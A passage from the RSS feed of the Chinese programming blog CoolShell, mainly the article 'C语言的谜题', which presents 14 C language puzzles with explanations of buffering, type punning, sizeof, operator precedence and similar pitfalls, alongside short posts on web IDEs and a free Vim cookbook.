(个人版)</li>\n</ul>\n<p>虽然IntelliJ IDEA 量个原生态的 Java 开发IDE，不过其支持一大堆的WEB技术，如HTML ，JavaScript，Flex，和SQL。提供了JavaScript 高度和重构，同样也有代码自动完成。IntelliJ IDEA 还有一个代码检查功能可以提供一些浏览器兼容性检查。</p>\n<h4><a href=\"http://www.activestate.com/komodo/\"><span style=\"color: #468175;\">Komodo IDE</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/komodo_ide.png\" alt=\"Komodo IDE\" /></span></div>\n<ul>\n<li>$295</li>\n</ul>\n<p>Komodo IDE 面对的是&#8221;dynamic languages and open technologies.&#8221; 其支持的是标准的WEB语言—HTML, CSS, JavaScript, PHP, 等等。同样也支持Ruby, python, Tcl, 等。这是一个坚固的编辑器。</p>\n<h4><a href=\"http://www.zend.com/en/products/studio/\"><span style=\"color: #468175;\">Zend Studio</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/zend_studio.png\" alt=\"Zend Studio\" /></span></div>\n<ul>\n<li>$399</li>\n</ul>\n<p>Zend Studio 是Eclipse 的插件，当然，它也可以独立成为一个IDE。它主要面对的是PHP开发者。并有一个Zend Framework提供了一堆功能。是个非常成熟的PHP开发的IDE，相当的强大。</p>\n<p>文章：<a href=\"http://net.tutsplus.com/articles/web-roundups/18-ides-for-windows-mac-linux/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif\" alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6840.html\" class=\"wp_rp_title\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/968.html\">18个Web开发的IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/968.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>《Vim Recipes》免费的Vim Cookbook</title>\n\t\t<link>https://coolshell.cn/articles/956.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/956.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 01 Jun 2009 07:45:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=956</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>当今最流行的文本编辑器是什么，如果我的回答是vim应该不算过份吧。 在 http://vim.runpaint.org/ 你可以获得一本关于vim的cookbo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/956.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/956.html\">《Vim Recipes》免费的Vim Cookbook</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>当今最流行的文本编辑器是什么，如果我的回答是vim应该不算过份吧。</p>\n<p>在<a title=\"http://vim.runpaint.org/ \" href=\"http://vim.runpaint.org/\" target=\"_blank\"> http://vim.runpaint.org/ </a>你可以获得一本关于vim的cookbook 《Vim Recipes》</p>\n<p>如果你非常喜欢vim编辑器，千万不要错过这本书，使用这本书，你将会发现你在vim遇到问题都可以迎刃而解。</p>\n<p>此书还在更新过程中，更多内容请关注<a title=\"http://vim.runpaint.org/ \" href=\"http://vim.runpaint.org/\" target=\"_blank\">http://vim.runpaint.org/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/956.html\">《Vim Recipes》免费的Vim Cookbook</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/956.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言的谜题</title>\n\t\t<link>https://coolshell.cn/articles/945.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/945.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 31 May 2009 09:39:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=945</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这几天，本站推出了几篇关于C语言的很多文章如下所示： 语言的歧义 [酷壳链接] [CSDN链接] 谁说C语言很简单？ [酷壳链接] [CSDN链接] 6个变态的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/945.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/945.html\">C语言的谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这几天，本站推出了几篇关于C语言的很多文章如下所示：</p>\n<ul>\n<li><strong>语言的歧义</strong>  [<a href=\"https://coolshell.cn/articles/830.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/18/4197010.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>谁说C语言很简单？</strong> [<a href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217950.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>6个变态的C语言Hello World程序</strong> [<a href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/26/4217565.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>如何加密/弄乱C源代码</strong>  [<a href=\"https://coolshell.cn/articles/933.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/05/30/4225974.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n<li><strong>C语言的谜题</strong>  [<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">酷壳链接</a>]  [<a href=\"http://blog.csdn.net/haoel/archive/2009/06/01/4231029.aspx\" target=\"_blank\">CSDN链接</a>]</li>\n</ul>\n<p>我们可以看到很多C语言相关的一些东西。比如《语言的歧义》主要告诉了大家C语言中你意想不到的错误以及一些歧义上的东西。而《谁说C语言很简单》则通过一些看似你从来不可能写出的代码来告诉大家C语言并不是一件容易事情。《6个变态的hello world》和《如何弄乱C的源代码》则以一种极端的方式告诉大家，不要以为咱们自己写不出混乱的代码，每个程序员其实都有把代码搞得一团乱的潜质。通过这些文章，相信你对编程或是你觉得很简单的C语言有了一些了解。是的，很不容易吧，以前是不是低估了编程和C语言？今天是否我们又在低估C++和Java呢？</p>\n<p>本篇文章《C语言的谜题》展示了14个C语言的迷题以及答案，代码应该是足够清楚的，而且我也相信有相当的一些例子可能是我们日常工作可能会见得到的。通过这些迷题，希望你能更了解C语言。如果你不看答案，不知道是否有把握回答各个谜题？让我们来试试。</p>\n<p><span id=\"more-945\"></span></p>\n<p><strong>1、下面的程序并不见得会输出 hello-std-out，你知道为什么吗？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\nint main()  \n{\n    while(1)\n    {\n        fprintf(stdout,&quot;hello-std-out&quot;);\n        fprintf(stderr,&quot;hello-std-err&quot;);\n        sleep(1);\n    }\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：stdout和stderr是不是同设备描述符。stdout是块设备，stderr则不是。对于块设备，只有当下面几种情况下才会被输入，1）遇到回车，2）缓冲区满，3）flush被调用。而stderr则不会。</p>\n<p><strong>2、下面的程序看起来是正常的，使用了一个逗号表达式来做初始化。</strong>可惜这段程序是有问题的。你知道为什么呢？</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n\nint main()\n{\n    int a = 1,2;\n    printf(&quot;a : %d\\n&quot;,a);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：这个程序会得到编译出错（语法出错），逗号表达式是没错，可是在初始化和变量声明时，逗号并不是逗号表达式的意义。这点要区分，要修改上面这个程序，你需要加上括号： int a = (1,2);</p>\n<p><strong>3、下面的程序会有什么样的输出呢？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()\n{\n    int i=43;\n    printf(&quot;%d\\n&quot;,printf(&quot;%d&quot;,printf(&quot;%d&quot;,i)));\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：程序会输出4321，你知道为什么吗？要知道为什么，你需要知道printf的返回值是什么。printf返回值是输出的字符个数。</p>\n<p><strong>4、下面的程序会输出什么？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    float a = 12.5;\n    printf(&quot;%d\\n&quot;, a);\n    printf(&quot;%d\\n&quot;, (int)a);\n    printf(&quot;%d\\n&quot;, *(int *)&amp;a);\n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：<br />\n该项程序输出如下所示，<br />\n    0<br />\n    12<br />\n    1095237632<br />\n原因是：浮点数是4个字节，12.5f 转成二进制是：01000001010010000000000000000000，十六进制是：0x41480000，十进制是：1095237632。所以，第二和第三个输出相信大家也知道是为什么了。而对于第一个，为什么会输出0，我们需要了解一下float和double的内存布局，如下：</p>\n<ul>\n<li><strong>float</strong>: 1位符号位(s)、8位指数(e)，23位尾数(m,共32位) </li>\n<li><strong>double</strong>: 1位符号位(s)、11位指数(e)，52位尾数(m,共64位)</li>\n</ul>\n<p>然后，我们还需要了解一下printf由于类型不匹配，所以，会把float直接转成double，注意，12.5的float和double的内存二进制完全不一样。别忘了在x86芯片下使用是的反字节序，高位字节和低位字位要反过来。所以：</p>\n<ul>\n<li><strong>float版</strong>：0x41480000  (在内存中是：00 00 48 41)</li>\n<li><strong>double版</strong>：0x4029000000000000 (在内存中是：00 00 00 00 00 00 29 40)</li>\n</ul>\n<p>而我们的%d要求是一个4字节的int，对于double的内存布局，我们可以看到前四个字节是00，所以输出自然是0了。</p>\n<p>这个示例向我们说明printf并不是类型安全的，这就是为什么C++要引如cout的原因了。</p>\n<p><strong>5、下面，我们再来看一个交叉编译的事情，下面的两个文件可以编译通过吗？如果可以通过，结果是什么？</strong></p>\n<p>file1.c </p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n  int arr[80];\n</pre>\n<p>file2.c </p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nextern int *arr;\nint main()  \n{      \n    arr[1] = 100;\n    printf(&quot;%d\\n&quot;, arr[1]);\n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：该程序可以编译通过，但运行时会出错。为什么呢？原因是，在另一个文件中用 extern int *arr来外部声明一个数组并不能得到实际的期望值，因为他们的类型并不匹配。所以导致指针实际并没有指向那个数组。注意：一个指向数组的指针，并不等于一个数组。修改：extern int arr[]。（参考：ISO C语言 6.5.4.2 节）</p>\n<p><strong>6、请说出下面的程序输出是多少？并解释为什么？</strong>（注意，该程序并不会输出 &#8220;b is 20&#8243;）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{      \n    int a=1;      \n    switch(a)      \n    {   \n        int b=20;          \n        case 1: \n            printf(&quot;b is %d\\n&quot;,b);\n            break;\n        default:\n            printf(&quot;b is %d\\n&quot;,b);\n            break;\n    }\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：该程序在编译时，可能会出现一条warning: unreachable code at beginning of switch statement。我们以为进入switch后，变量b会被初始化，其实并不然，因为switch-case语句会把变量b的初始化直接就跳过了。所以，程序会输出一个随机的内存值。</p>\n<p><strong>7、请问下面的程序会有什么潜在的危险？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{      \n    char str[80];\n    printf(&quot;Enter the string:&quot;);\n    scanf(&quot;%s&quot;,str);\n    printf(&quot;You entered:%s\\n&quot;,str);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题很简单了。这个程序的潜在问题是，如果用户输入了超过80个长度的字符，那么就会有数组越界的问题了，你的程序很有可以及会crash了。</p>\n<p><strong>8、请问下面的程序输出什么？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    int i;\n    i = 10;\n    printf(&quot;i : %d\\n&quot;,i);\n    printf(&quot;sizeof(i++) is: %d\\n&quot;,sizeof(i++));\n    printf(&quot;i : %d\\n&quot;,i);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：如果你觉得输出分别是，10，4，11，那么你就错了，错在了第三个，第一个是10没有什么问题，第二个是4，也没有什么问题，因为是32位机上一个int有4个字节。但是第三个为什么输出的不是11呢？居然还是10？原因是，sizeof不是一个函数，是一个操作符，其求i++的类型的size，这是一件可以在程序运行前（编译时）完全的事情，所以，sizeof(i++)直接就被4给取代了，在运行时也就不会有了i++这个表达式。</p>\n<p><strong>9、请问下面的程序的输出值是什么？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n#define SIZEOF(arr) (sizeof(arr)/sizeof(arr[0]))\n#define PrintInt(expr) printf(&quot;%s:%d\\n&quot;,#expr,(expr))\n\nint main()\n{\n    /* The powers of 10 */\n    int pot[] = {\n                    0001,\n                    0010,\n                    0100,\n                    1000\n                };\n\n    int i;\n    for(i=0;i&lt;SIZEOF(pot);i++)\n        PrintInt(pot[i]);\n        \n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：好吧，如果你对于PrintInt这个宏有问题的话，你可以去看一看《<a href=https://coolshell.cn/articles/830.html>语言的歧义</a>》中的第四个示例。不过，本例的问题不在这里，本例的输出会是：1，8，64，1000，其实很简单了，以C/C++中，以0开头的数字都是八进制的。</p>\n<p><strong>10、请问下面的程序输出是什么？（绝对不是10）</strong></p>\n<pre>\n#include <stdio.h>\n#define PrintInt(expr) printf(\"%s : %dn\",#expr,(expr))\n\nint main()  \n{\n    int y = 100;\n    int *p;\n    p = malloc(sizeof(int));\n    *p = 10;\n    y = y/*p; /*dividing y by *p */;\n    PrintInt(y);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题输出的是100。为什么呢？问题就出在 y = y/*p;上了，我们本来想的是 y / (*p) ，然而，我们没有加入空格和括号，结果y/*p中的 /*被解释成了注释的开始。于是，这也是整个恶梦的开始。</p>\n<p><strong>11、下面的输出是什么？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{\n    int i = 6;\n    if( ((++i &lt; 7) &amp;&amp; ( i++/6)) || (++i &lt;= 9))\n        ;\n\n    printf(&quot;%d\\n&quot;,i);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题并不简单的是考前缀++或反缀++，本题主要考的是&#038;&#038;和||的短路求值的问题。所为短路求值：对于（条件1 &#038;&#038; 条件2），如果“条件1”是false，那“条件2”的表达式会被忽略了。对于（条件1 || 条件2），如果“条件1”为true，而“条件2”的表达式则被忽略了。所以，我相信你会知道本题的答案是什么了。</p>\n<p><strong>12、下面的C程序是合法的吗？如果是，那么输出是什么？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{ \n    int a=3, b = 5;\n\n    printf(&amp;a[&quot;Ya!Hello! how is this? %s\\n&quot;], &amp;b[&quot;junk/super&quot;]);\n    \n    printf(&amp;a[&quot;WHAT%c%c%c  %c%c  %c !\\n&quot;], 1[&quot;this&quot;],\n        2[&quot;beauty&quot;],0[&quot;tool&quot;],0[&quot;is&quot;],3[&quot;sensitive&quot;],4[&quot;CCCCCC&quot;]);\n        \n    return 0;  \n}\n</pre>\n<p><strong>参考答案</strong>：<br />\n本例是合法的，输出如下：</p>\n<blockquote><p>   Hello! how is this? super<br />\n    That  is  C !</p></blockquote>\n<p>本例主要展示了一种另类的用法。下面的两种用法是相同的：</p>\n<blockquote><p>    &#8220;hello&#8221;[2]<br />\n    2[&#8220;hello&#8221;]</p></blockquote>\n<p>如果你知道：a[i] 其实就是 *(a+i)也就是 *(i+a)，所以如果写成 i[a] 应该也不难理解了。</p>\n<p><strong>13、请问下面的程序输出什么？</strong>（假设：输入 Hello, World）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\nint main()  \n{ \n    char dummy[80];\n    printf(&quot;Enter a string:\\n&quot;);\n    scanf(&quot;%[^r]&quot;,dummy);\n    printf(&quot;%s\\n&quot;,dummy);\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本例的输出是“Hello, Wo”，scanf中的&#8221;%[^r]&#8221;是从中作梗的东西。意思是遇到字符r就结束了。</p>\n<p><strong>14、下面的程序试图使用“位操作”来完成“乘5”的操作，不过这个程序中有个BUG，你知道是什么吗？</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#define PrintInt(expr) printf(&quot;%s : %d\\n&quot;,#expr,(expr))\nint FiveTimes(int a)  \n{\n    int t;\n    t = a&lt;&lt;2 + a;\n    return t;\n}\n\nint main()  \n{\n    int a = 1, b = 2,c = 3;\n    PrintInt(FiveTimes(a));\n    PrintInt(FiveTimes(b));\n    PrintInt(FiveTimes(c));\n    return 0;\n}\n</pre>\n<p><strong>参考答案</strong>：本题的问题在于函数FiveTimes中的表达式“t = a<<2 + a;”，对于a<<2这个位操作，优先级要比加法要低，所以这个表达式就成了“t = a << (2+a)”，于是我们就得不到我们想要的值。该程序修正如下：\n\n\n\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint FiveTimes(int a)  \n{\n    int t;\n    t = (a&lt;&lt;2) + a;\n    return t;\n}\n</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/945.html\">C语言的谜题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/945.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>162</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>最完美的Linux桌面软件</title>\n\t\t<link>https://coolshell.cn/articles/936.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/936.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 31 May 2009 04:12:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=936</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是关于Linux桌面环境下，目前为止最完美的部分。之所以说他们完美，是因为他们不但很养眼，而且也使用最好的多媒体技术，有最好的可用性。在某些方面，他们甚至超...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/936.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/936.html\">最完美的Linux桌面软件</a> first appeared on <a 